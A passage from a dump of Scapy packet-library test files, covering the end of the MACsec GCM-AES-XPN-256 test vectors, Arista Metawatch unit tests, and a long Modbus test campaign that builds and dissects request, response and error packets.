raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\x6A\xB2\xAD\x80') e = sa.encrypt(m) ref = Raw(bytes.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED9CA46984430203ED416EBDC2FE2622BA3E5EAB6961C36383009E187E9B0C88564653B9ABD216441C6AB6F0A232E9E44C978CF7CD84D43484D101")) assert raw(e) == raw(ref) dt = sa.decrypt(e) assert raw(dt) == raw(m) = MACsec - Standard Test Vectors - C.5.4 GCM-AES-XPN-256 (54-octet frame confidentiality protection) sa = MACsecSA(sci=b'\xF0\x76\x1E\x8D\xCD\x3D\x00\x01', an=0, pn=0xB0DF459C76D457ED, key=b'\x69\x1D\x3E\xE9\x09\xD7\xF5\x41\x67\xFD\x1C\xA0\xB5\xD7\x69\x08\x1F\x2B\xDE\x1A\xEE\x65\x5F\xDB\xAB\x80\xBD\x52\x95\xAE\x6B\xE7', icvlen=16, encrypt=1, send_sci=0, xpn_en = True, ssci = 0x7A30C118, salt = b'\xE6\x30\xE8\x1A\x48\xDE\x86\xA2\x1C\x66\xFA\x6D') p = Ether(src='F0:76:1E:8D:CD:3D', dst='E2:01:06:D7:CD:0D', type=0x0800)/Raw(bytes.fromhex("0F101112131415161718191A1B1C1D1E1F202122232425262728292A2B2C2D2E2F30313233340004")) m = sa.encap(p) m[MACsec].ES = 1 iv = sa.make_iv(m) assert raw(iv) == raw(b'\x9C\x00\x29\x02\xF8\x01\xC3\x3E\x6A\xB2\xAD\x80') e = sa.encrypt(m) ref = Raw(bytes.fromhex("E20106D7CD0DF0761E8DCD3D88E54C2A76D457ED88D9F7D1F1578EE34BA7B1ABC89893EF1D3398C9F1DD3E47FBD8553E0FF786EF5699EB01EA10420D0EBD39A0E273C4C7F95ED843207D7A497DFA")) assert raw(e) == raw(ref) dt = sa.decrypt(e) assert raw(dt) == raw(m) ================================================ FILE: test/contrib/metawatch.uts ================================================ # Arista Metawatch unit tests # # Type the following command to launch start the tests: # $ test/run_tests -P "load_contrib('metawatch')" -t test/contrib/metawatch.uts + Metawatch = MetawatchEther, basic instantiation m = MetawatchEther() assert m.type == 0x9000 = MetawatchEther, build & dissect r = raw(MetawatchEther(dst="00:01:02:03:04:05", src="06:07:08:09:10:11")) assert r == b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\x10\x11\x90\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' m = MetawatchEther(r) assert m.dst == "00:01:02:03:04:05" and m.src == "06:07:08:09:10:11" and m.type == 0x9000 ================================================ FILE: test/contrib/modbus.uts ================================================ % Modbus layer test campaign + Syntax check = Import the modbus layer from scapy.contrib.modbus import * + Test MBAP = MBAP default values raw(ModbusADURequest()) == b'\x00\x00\x00\x00\x00\x01\xff' = MBAP payload length calculation raw(ModbusADURequest() / b'\x00\x01\x02') == b'\x00\x00\x00\x00\x00\x04\xff\x00\x01\x02' = MBAP Guess Payload ModbusPDU01ReadCoilsRequest (simple case) p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x01\x00\x00\x00\x01') assert isinstance(p.payload, ModbusPDU01ReadCoilsRequest) = MBAP Guess Payload ModbusPDU01ReadCoilsResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x04\xff\x01\x01\x01') assert isinstance(p.payload, ModbusPDU01ReadCoilsResponse) = MBAP Guess Payload ModbusPDU01ReadCoilsError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x81\x02') assert isinstance(p.payload, ModbusPDU01ReadCoilsError) = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x02\x00\x00\x00\x01') assert isinstance(p.payload, ModbusPDU02ReadDiscreteInputsRequest) = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x04\xff\x02\x01\x00') assert isinstance(p.payload, ModbusPDU02ReadDiscreteInputsResponse) = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x82\x01') assert isinstance(p.payload, ModbusPDU02ReadDiscreteInputsError) = MBAP Guess Payload ModbusPDU03ReadHoldingRegistersRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x03\x00\x00\x00\x01') assert isinstance(p.payload, ModbusPDU03ReadHoldingRegistersRequest) = MBAP Guess Payload ModbusPDU03ReadHoldingRegistersResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x05\xff\x03\x02\x00\x00') assert isinstance(p.payload, ModbusPDU03ReadHoldingRegistersResponse) = MBAP Guess Payload ModbusPDU03ReadHoldingRegistersError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x83\x01') assert isinstance(p.payload, ModbusPDU03ReadHoldingRegistersError) = MBAP Guess Payload ModbusPDU04ReadInputRegistersRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x04\x00\x00\x00\x01') assert isinstance(p.payload, ModbusPDU04ReadInputRegistersRequest) = MBAP Guess Payload ModbusPDU04ReadInputRegistersResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x05\xff\x04\x02\x00\x00') assert isinstance(p.payload, ModbusPDU04ReadInputRegistersResponse) = MBAP Guess Payload ModbusPDU04ReadInputRegistersError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x84\x01') assert isinstance(p.payload, ModbusPDU04ReadInputRegistersError) = MBAP Guess Payload ModbusPDU05WriteSingleCoilRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x05\x00\x00\x00\x00') assert isinstance(p.payload, ModbusPDU05WriteSingleCoilRequest) = MBAP Guess Payload ModbusPDU05WriteSingleCoilResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x06\xff\x05\x00\x00\x00\x00') assert isinstance(p.payload, ModbusPDU05WriteSingleCoilResponse) = MBAP Guess Payload ModbusPDU05WriteSingleCoilError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x85\x01') assert isinstance(p.payload, ModbusPDU05WriteSingleCoilError) = MBAP Guess Payload ModbusPDU06WriteSingleRegisterRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x06\x00\x00\x00\x00') assert isinstance(p.payload, ModbusPDU06WriteSingleRegisterRequest) = MBAP Guess Payload ModbusPDU06WriteSingleRegisterResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x06\xff\x06\x00\x00\x00\x00') assert isinstance(p.payload, ModbusPDU06WriteSingleRegisterResponse) = MBAP Guess Payload ModbusPDU06WriteSingleRegisterError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x86\x01') assert isinstance(p.payload, ModbusPDU06WriteSingleRegisterError) = MBAP Guess Payload ModbusPDU07ReadExceptionStatusRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x07') assert isinstance(p.payload, ModbusPDU07ReadExceptionStatusRequest) = MBAP Guess Payload ModbusPDU07ReadExceptionStatusResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x07\x00') assert isinstance(p.payload, ModbusPDU07ReadExceptionStatusResponse) = MBAP Guess Payload ModbusPDU07ReadExceptionStatusError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x87\x01') assert isinstance(p.payload, ModbusPDU07ReadExceptionStatusError) = MBAP Guess Payload ModbusPDU08DiagnosticsRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x06\xff\x08\x00\x00\x00\x00') assert isinstance(p.payload, ModbusPDU08DiagnosticsRequest) = MBAP Guess Payload ModbusPDU08DiagnosticsResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x06\xff\x08\x00\x00\x00\x00') assert isinstance(p.payload, ModbusPDU08DiagnosticsResponse) = MBAP Guess Payload ModbusPDU08DiagnosticsError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x88\x01') assert isinstance(p.payload, ModbusPDU08DiagnosticsError) = MBAP Guess Payload ModbusPDU0BGetCommEventCounterRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x0b') assert isinstance(p.payload, ModbusPDU0BGetCommEventCounterRequest) = MBAP Guess Payload ModbusPDU0BGetCommEventCounterResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x06\xff\x0b\x00\x00\xff\xff') assert isinstance(p.payload, ModbusPDU0BGetCommEventCounterResponse) = MBAP Guess Payload ModbusPDU0BGetCommEventCounterError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x8b\x01') assert isinstance(p.payload, ModbusPDU0BGetCommEventCounterError) = MBAP Guess Payload ModbusPDU0CGetCommEventLogRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x0c') assert isinstance(p.payload, ModbusPDU0CGetCommEventLogRequest) = MBAP Guess Payload ModbusPDU0CGetCommEventLogResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x0c\x00\x00\x00\x00\x00\x00\x00') assert isinstance(p.payload, ModbusPDU0CGetCommEventLogResponse) = MBAP Guess Payload ModbusPDU0CGetCommEventLogError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x8c\x01') assert isinstance(p.payload, ModbusPDU0CGetCommEventLogError) = MBAP Guess Payload ModbusPDU0FWriteMultipleCoilsRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x08\xff\x0f\x00\x00\x00\x01\x01\x00') assert isinstance(p.payload, ModbusPDU0FWriteMultipleCoilsRequest) = MBAP Guess Payload ModbusPDU0FWriteMultipleCoilsResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x06\xff\x0f\x00\x00\x00\x01') assert isinstance(p.payload, ModbusPDU0FWriteMultipleCoilsResponse) = MBAP Guess Payload ModbusPDU0FWriteMultipleCoilsError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x8f\x01') assert isinstance(p.payload, ModbusPDU0FWriteMultipleCoilsError) = MBAP Guess Payload ModbusPDU10WriteMultipleRegistersRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\t\xff\x10\x00\x00\x00\x01\x02\x00\x00') assert isinstance(p.payload, ModbusPDU10WriteMultipleRegistersRequest) = MBAP Guess Payload ModbusPDU10WriteMultipleRegistersResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x06\xff\x10\x00\x00\x00\x01') assert isinstance(p.payload, ModbusPDU10WriteMultipleRegistersResponse) = MBAP Guess Payload ModbusPDU10WriteMultipleRegistersError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x90\x01') assert isinstance(p.payload, ModbusPDU10WriteMultipleRegistersError) = MBAP Guess Payload ModbusPDU11ReportSlaveIdRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x11') assert isinstance(p.payload, ModbusPDU11ReportSlaveIdRequest) = MBAP Guess Payload ModbusPDU11ReportSlaveIdResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x11\x00') assert isinstance(p.payload, ModbusPDU11ReportSlaveIdResponse) = MBAP Guess Payload ModbusPDU11ReportSlaveIdError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x91\x01') assert isinstance(p.payload, ModbusPDU11ReportSlaveIdError) = MBAP Guess Payload ModbusPDU14ReadFileRecordRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x03\xff\x14\x00') assert isinstance(p.payload, ModbusPDU14ReadFileRecordRequest) = MBAP Guess Payload ModbusPDU14ReadFileRecordResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x14\x00') assert isinstance(p.payload, ModbusPDU14ReadFileRecordResponse) = MBAP Guess Payload ModbusPDU14ReadFileRecordError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x91\x01') assert isinstance(p.payload, ModbusPDU11ReportSlaveIdError) = MBAP Guess Payload ModbusPDU15WriteFileRecordRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x03\xff\x15\x00') assert isinstance(p.payload, ModbusPDU15WriteFileRecordRequest) = MBAP Guess Payload ModbusPDU15WriteFileRecordResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x15\x00') assert isinstance(p.payload, ModbusPDU15WriteFileRecordResponse) = MBAP Guess Payload ModbusPDU15WriteFileRecordError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x95\x01') assert isinstance(p.payload, ModbusPDU15WriteFileRecordError) = MBAP Guess Payload ModbusPDU16MaskWriteRegisterRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x08\xff\x16\x00\x00\xff\xff\x00\x00') assert isinstance(p.payload, ModbusPDU16MaskWriteRegisterRequest) = MBAP Guess Payload ModbusPDU16MaskWriteRegisterResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x08\xff\x16\x00\x00\xff\xff\x00\x00') assert isinstance(p.payload, ModbusPDU16MaskWriteRegisterResponse) = MBAP Guess Payload ModbusPDU16MaskWriteRegisterError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x96\x01') assert isinstance(p.payload, ModbusPDU16MaskWriteRegisterError) = MBAP Guess Payload ModbusPDU16MaskWriteRegisterRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x08\xff\x16\x00\x00\xff\xff\x00\x00') assert isinstance(p.payload, ModbusPDU16MaskWriteRegisterRequest) = MBAP Guess Payload ModbusPDU16MaskWriteRegisterResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x08\xff\x16\x00\x00\xff\xff\x00\x00') assert isinstance(p.payload, ModbusPDU16MaskWriteRegisterResponse) = MBAP Guess Payload ModbusPDU16MaskWriteRegisterError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x96\x01') assert isinstance(p.payload, ModbusPDU16MaskWriteRegisterError) = MBAP Guess Payload ModbusPDU17ReadWriteMultipleRegistersRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\r\xff\x17\x00\x00\x00\x01\x00\x00\x00\x01\x02\x00\x00') assert isinstance(p.payload, ModbusPDU17ReadWriteMultipleRegistersRequest) = MBAP Guess Payload ModbusPDU17ReadWriteMultipleRegistersResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x05\xff\x17\x02\x00\x00') assert isinstance(p.payload, ModbusPDU17ReadWriteMultipleRegistersResponse) = MBAP Guess Payload ModbusPDU17ReadWriteMultipleRegistersError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x97\x01') assert isinstance(p.payload, ModbusPDU17ReadWriteMultipleRegistersError) = MBAP Guess Payload ModbusPDU18ReadFIFOQueueRequest p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x04\xff\x18\x00\x00') assert isinstance(p.payload, ModbusPDU18ReadFIFOQueueRequest) = MBAP Guess Payload ModbusPDU18ReadFIFOQueueResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x06\xff\x18\x00\x02\x00\x00') assert isinstance(p.payload, ModbusPDU18ReadFIFOQueueResponse) = MBAP Guess Payload ModbusPDU18ReadFIFOQueueError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\x98\x01') assert isinstance(p.payload, ModbusPDU18ReadFIFOQueueError) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationRequest (2 level test) p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x04\xff+\x0e\x01\x00') assert isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationRequest) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationResponse p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x1b\xff+\x0e\x01\x83\x00\x00\x03\x00\x08Pymodbus\x01\x02PM\x02\x031.0') assert isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationResponse) = MBAP Guess Payload ModbusPDU2B0EReadDeviceIdentificationError p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x03\xff\xab\x01') assert isinstance(p.payload, ModbusPDU2B0EReadDeviceIdentificationError) = MBAP Guess Payload Reserved Function Request (Invalid payload) p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x5b') assert isinstance(p.payload,ModbusPDUReservedFunctionCodeRequest) = MBAP Guess Payload Reserved Function Response (Invalid payload) p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x7e') assert isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse) = MBAP Guess Payload Reserved Function Error (Invalid payload) p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x8a') assert isinstance(p.payload, ModbusPDUReservedFunctionCodeError) = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse assert raw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\x02\x01\x00' = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsResponse minimal parameters assert raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\x02\x02\x02\x01' = MBAP Guess Payload ModbusPDU02ReadDiscreteInputsRequest dissection p = ModbusPDU02ReadDiscreteInputsResponse(b'\x02\x02\x02\x01') p.byteCount == 2 and p.inputStatus == [0x02, 0x01] = ModbusPDU02ReadDiscreteInputsError raw(ModbusPDU02ReadDiscreteInputsError()) == b'\x82\x01' = MBAP Guess Payload User-Defined Function Request (Invalid payload) p = ModbusADURequest(b'\x00\x00\x00\x00\x00\x02\xff\x5b') assert isinstance(p.payload, ModbusPDUReservedFunctionCodeRequest) = MBAP Guess Payload User-Defined Function Response (Invalid payload) p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x7e') assert isinstance(p.payload, ModbusPDUReservedFunctionCodeResponse) = MBAP Guess Payload User-Defined Function Error (Invalid payload) p = ModbusADUResponse(b'\x00\x00\x00\x00\x00\x02\xff\x8a') assert isinstance(p.payload, ModbusPDUReservedFunctionCodeError) + Test layer binding = Destination port p = TCP()/ModbusADURequest() p[TCP].dport == 502 = Source port p = TCP()/ModbusADUResponse() p[TCP].sport == 502 + Test PDU * Note on tests cases: dissection/minimal parameters will not be done for packets that does not perform calculation # 0x01/0x81 Read Coils -------------------------------------------------------------- = ModbusPDU01ReadCoilsRequest raw(ModbusPDU01ReadCoilsRequest()) == b'\x01\x00\x00\x00\x01' = ModbusPDU01ReadCoilsRequest minimal parameters raw(ModbusPDU01ReadCoilsRequest(startAddr=16, quantity=2)) == b'\x01\x00\x10\x00\x02' = ModbusPDU01ReadCoilsRequest dissection p = ModbusPDU01ReadCoilsRequest(b'\x01\x00\x10\x00\x02') assert p.startAddr == 16 assert p.quantity == 2 = ModbusPDU01ReadCoilsResponse raw(ModbusPDU01ReadCoilsResponse()) == b'\x01\x01\x00' = ModbusPDU01ReadCoilsResponse minimal parameters raw(ModbusPDU01ReadCoilsResponse(coilStatus=[0x10]*3)) == b'\x01\x03\x10\x10\x10' = ModbusPDU01ReadCoilsResponse dissection p = ModbusPDU01ReadCoilsResponse(b'\x01\x03\x10\x10\x10') assert p.coilStatus == [16, 16, 16] assert p.byteCount == 3 = ModbusPDU01ReadCoilsError raw(ModbusPDU01ReadCoilsError()) == b'\x81\x01' = ModbusPDU81ReadCoilsError minimal parameters raw(ModbusPDU01ReadCoilsError(exceptCode=2)) == b'\x81\x02' = ModbusPDU81ReadCoilsError dissection p = ModbusPDU01ReadCoilsError(b'\x81\x02') assert p.funcCode == 0x81 assert p.exceptCode == 2 # 0x02/0x82 Read Discrete Inputs Registers ------------------------------------------ = ModbusPDU02ReadDiscreteInputsRequest raw(ModbusPDU02ReadDiscreteInputsRequest()) == b'\x02\x00\x00\x00\x01' = ModbusPDU02ReadDiscreteInputsRequest minimal parameters raw(ModbusPDU02ReadDiscreteInputsRequest(startAddr=8, quantity=128)) == b'\x02\x00\x08\x00\x80' = ModbusPDU02ReadDiscreteInputsResponse raw(ModbusPDU02ReadDiscreteInputsResponse()) == b'\x02\x01\x00' = ModbusPDU02ReadDiscreteInputsResponse minimal parameters raw(ModbusPDU02ReadDiscreteInputsResponse(inputStatus=[0x02, 0x01])) == b'\x02\x02\x02\x01' = ModbusPDU02ReadDiscreteInputsRequest dissection p = ModbusPDU02ReadDiscreteInputsResponse(b'\x02\x02\x02\x01') assert p.byteCount == 2 assert p.inputStatus == [0x02, 0x01] = ModbusPDU02ReadDiscreteInputsError raw(ModbusPDU02ReadDiscreteInputsError()) == b'\x82\x01' # 0x03/0x83 Read Holding Registers -------------------------------------------------- = ModbusPDU03ReadHoldingRegistersRequest raw(ModbusPDU03ReadHoldingRegistersRequest()) == b'\x03\x00\x00\x00\x01' = ModbusPDU03ReadHoldingRegistersRequest minimal parameters raw(ModbusPDU03ReadHoldingRegistersRequest(startAddr=2048, quantity=16)) == b'\x03\x08\x00\x00\x10' = ModbusPDU03ReadHoldingRegistersResponse raw(ModbusPDU03ReadHoldingRegistersResponse()) == b'\x03\x02\x00\x00' = ModbusPDU03ReadHoldingRegistersResponse minimal parameters 1==1 = ModbusPDU03ReadHoldingRegistersResponse dissection p = ModbusPDU03ReadHoldingRegistersResponse(b'\x03\x06\x02+\x00\x00\x00d') assert p.byteCount == 6 assert p.registerVal == [555, 0, 100] = ModbusPDU03ReadHoldingRegistersError raw(ModbusPDU03ReadHoldingRegistersError()) == b'\x83\x01' # 0x04/0x84 Read Input Register ----------------------------------------------------- = ModbusPDU04ReadInputRegistersRequest raw(ModbusPDU04ReadInputRegistersRequest()) == b'\x04\x00\x00\x00\x01' = ModbusPDU04ReadInputRegistersResponse raw(ModbusPDU04ReadInputRegistersResponse()) == b'\x04\x02\x00\x00' = ModbusPDU04ReadInputRegistersResponse minimal parameters raw(ModbusPDU04ReadInputRegistersResponse(registerVal=[0x01, 0x02])) == b'\x04\x04\x00\x01\x00\x02' = ModbusPDU04ReadInputRegistersError raw(ModbusPDU04ReadInputRegistersError()) == b'\x84\x01' # 0x05/0x85 Write Single Coil ------------------------------------------------------- = ModbusPDU05WriteSingleCoilRequest raw(ModbusPDU05WriteSingleCoilRequest()) == b'\x05\x00\x00\x00\x00' = ModbusPDU05WriteSingleCoilResponse raw(ModbusPDU05WriteSingleCoilResponse()) == b'\x05\x00\x00\x00\x00' = ModbusPDU05WriteSingleCoilError raw(ModbusPDU05WriteSingleCoilError()) == b'\x85\x01' # 0x06/0x86 Write Single Register --------------------------------------------------- = ModbusPDU06WriteSingleRegisterRequest raw(ModbusPDU06WriteSingleRegisterRequest()) == b'\x06\x00\x00\x00\x00' = ModbusPDU06WriteSingleRegisterResponse raw(ModbusPDU06WriteSingleRegisterResponse()) == b'\x06\x00\x00\x00\x00' = ModbusPDU06WriteSingleRegisterError raw(ModbusPDU06WriteSingleRegisterError()) == b'\x86\x01' # 0x07/0x87 Read Exception Status (serial line only) -------------------------------- = ModbusPDU07ReadExceptionStatusRequest raw(ModbusPDU07ReadExceptionStatusRequest()) == b'\x07' = ModbusPDU07ReadExceptionStatusResponse raw(ModbusPDU07ReadExceptionStatusResponse()) == b'\x07\x00' = ModbusPDU07ReadExceptionStatusError raw(ModbusPDU07ReadExceptionStatusError()) == b'\x87\x01' # 0x08/0x88 Diagnostics (serial line only) ------------------------------------------ = ModbusPDU08DiagnosticsRequest raw(ModbusPDU08DiagnosticsRequest()) = ModbusPDU08DiagnosticsRequest minimal parameters raw(ModbusPDU08DiagnosticsRequest(data=[0x1234])) == b'\x08\x00\x00\x12\x34' = ModbusPDU08DiagnosticsResponse raw(ModbusPDU08DiagnosticsResponse()) == b'\x08\x00\x00\x00\x00' = ModbusPDU08DiagnosticsResponse minimal parameters raw(ModbusPDU08DiagnosticsResponse(data=[0x1234])) == b'\x08\x00\x00\x12\x34' = ModbusPDU08DiagnosticsError raw(ModbusPDU08DiagnosticsError()) == b'\x88\x01' # 0x0b Get Comm Event Counter: serial line only ------------------------------------- = ModbusPDU0BGetCommEventCounterRequest raw(ModbusPDU0BGetCommEventCounterRequest()) == b'\x0b' = ModbusPDU0BGetCommEventCounterResponse raw(ModbusPDU0BGetCommEventCounterResponse()) == b'\x0b\x00\x00\xff\xff' = ModbusPDU0BGetCommEventCounterError raw(ModbusPDU0BGetCommEventCounterError()) == b'\x8b\x01' # 0x0c Get Comm Event Log: serial line only ----------------------------------------- = ModbusPDU0CGetCommEventLogRequest raw(ModbusPDU0CGetCommEventLogRequest()) == b'\x0c' = ModbusPDU0CGetCommEventLogResponse raw(ModbusPDU0CGetCommEventLogResponse()) == b'\x0c\x08\x00\x00\x01\x08\x01\x21\x20\x00' = ModbusPDU0CGetCommEventLogError raw(ModbusPDU0CGetCommEventLogError()) == b'\x8c\x01' # 0x0f/0x8f Write Multiple Coils ---------------------------------------------------- = ModbusPDU0FWriteMultipleCoilsRequest raw(ModbusPDU0FWriteMultipleCoilsRequest()) = ModbusPDU0FWriteMultipleCoilsRequest minimal parameters raw(ModbusPDU0FWriteMultipleCoilsRequest(outputsValue=[0x01, 0x01])) == b'\x0f\x00\x00\x00\x01\x02\x01\x01' = ModbusPDU0FWriteMultipleCoilsResponse raw(ModbusPDU0FWriteMultipleCoilsResponse()) == b'\x0f\x00\x00\x00\x01' = ModbusPDU0FWriteMultipleCoilsError raw(ModbusPDU0FWriteMultipleCoilsError()) == b'\x8f\x01' # 0x10/0x90 Write Multiple Registers ---------------------------------------------------- = ModbusPDU10WriteMultipleRegistersRequest raw(ModbusPDU10WriteMultipleRegistersRequest()) == b'\x10\x00\x00\x00\x01\x02\x00\x00' = ModbusPDU10WriteMultipleRegistersRequest minimal parameters raw(ModbusPDU10WriteMultipleRegistersRequest(outputsValue=[0x0001, 0x0002])) == b'\x10\x00\x00\x00\x02\x04\x00\x01\x00\x02' = ModbusPDU10WriteMultipleRegistersResponse raw(ModbusPDU10WriteMultipleRegistersResponse()) == b'\x10\x00\x00\x00\x01' = ModbusPDU10WriteMultipleRegistersError raw(ModbusPDU10WriteMultipleRegistersError()) == b'\x90\x01' # 0x11/91 Report Slave ID: serial line only ---------------------------------------- = ModbusPDU11ReportSlaveIdRequest raw(ModbusPDU11ReportSlaveIdRequest()) == b'\x11' = ModbusPDU11ReportSlaveIdResponse minimal parameters raw(ModbusPDU11ReportSlaveIdResponse(byteCount=3, slaveId="ID")) == b'\x11\x03\x49\x44\x00' = ModbusPDU11ReportSlaveIdError raw(ModbusPDU11ReportSlaveIdError()) == b'\x91\x01' # 0x14/944 Read File Record --------------------------------------------------------- = ModbusPDU14ReadFileRecordRequest len parameters p = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest()/ModbusReadFileSubRequest()) assert p == b'\x14\x0e\x06\x00\x01\x00\x00\x00\x01\x06\x00\x01\x00\x00\x00\x01' = ModbusPDU14ReadFileRecordRequest minimal parameters p = raw(ModbusPDU14ReadFileRecordRequest()/ModbusReadFileSubRequest(fileNumber=4, recordNumber=1, recordLength=2)/ModbusReadFileSubRequest(fileNumber=3, recordNumber=9, recordLength=2)) assert p == b'\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02' = ModbusPDU14ReadFileRecordRequest dissection p = ModbusPDU14ReadFileRecordRequest(b'\x14\x0e\x06\x00\x04\x00\x01\x00\x02\x06\x00\x03\x00\t\x00\x02') assert isinstance(p.payload, ModbusReadFileSubRequest) assert isinstance(p.payload.payload, ModbusReadFileSubRequest) = ModbusPDU14ReadFileRecordResponse minimal parameters raw(ModbusPDU14ReadFileRecordResponse()/ModbusReadFileSubResponse(recData=[0x0dfe, 0x0020])/ModbusReadFileSubResponse(recData=[0x33cd, 0x0040])) == b'\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@' = ModbusPDU14ReadFileRecordResponse dissection p = ModbusPDU14ReadFileRecordResponse(b'\x14\x0c\x05\x06\r\xfe\x00 \x05\x063\xcd\x00@') assert isinstance(p.payload, ModbusReadFileSubResponse) assert isinstance(p.payload.payload, ModbusReadFileSubResponse) = ModbusPDU14ReadFileRecordError raw(ModbusPDU14ReadFileRecordError()) == b'\x94\x01' # 0x15/0x95 Write File Record ------------------------------------------------------- = ModbusPDU15WriteFileRecordRequest minimal parameters raw(ModbusPDU15WriteFileRecordRequest()/ModbusWriteFileSubRequest(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r' = ModbusPDU15WriteFileRecordRequest dissection p = ModbusPDU15WriteFileRecordRequest(b'\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r') assert isinstance(p.payload, ModbusWriteFileSubRequest) assert p.payload.recordLength == 3 = ModbusPDU15WriteFileRecordResponse minimal parameters raw(ModbusPDU15WriteFileRecordResponse()/ModbusWriteFileSubResponse(fileNumber=4, recordNumber=7, recordData=[0x06af, 0x04be, 0x100d])) == b'\x15\r\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r' = ModbusPDU15WriteFileRecordResponse dissection p = ModbusPDU15WriteFileRecordResponse(b'\x15\x0d\x06\x00\x04\x00\x07\x00\x03\x06\xaf\x04\xbe\x10\r') assert isinstance(p.payload, ModbusWriteFileSubResponse) assert p.payload.recordLength == 3 = ModbusPDU15WriteFileRecordError raw(ModbusPDU15WriteFileRecordError()) == b'\x95\x01' # 0x16/0x96 Mask Write Register ----------------------------------------------------- = ModbusPDU16MaskWriteRegisterRequest raw(ModbusPDU16MaskWriteRegisterRequest()) == b'\x16\x00\x00\xff\xff\x00\x00' = 